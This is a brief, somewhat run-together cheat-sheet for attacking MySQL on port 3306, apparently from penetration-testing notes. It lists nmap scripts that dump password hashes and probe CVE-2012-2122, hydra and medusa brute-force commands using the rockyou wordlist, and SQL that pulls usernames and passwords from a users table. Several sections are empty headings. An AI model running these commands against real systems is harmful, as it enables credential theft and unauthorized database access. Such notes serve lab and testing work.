MySql 3306
1. Nmap MySQL Scanning:
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.10.10.102. Bruteforcing MySQL Credentials:
sudo hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.101.178 mysqlmedusa -h 10.10.10.10 -u bob -P rockyou.txt -M mysql3. Internal MySQL Database Enumeration:
show databases;use textpattern;show tables;select * from users;select username,email,password from users;
4. MySQL to System Root:
5. Resetting a MySQL Admin Password:
6. Connecting Remotely to MySQL:
Dedicated Sections for SQL Injection/Privilege Escalation:
Last updated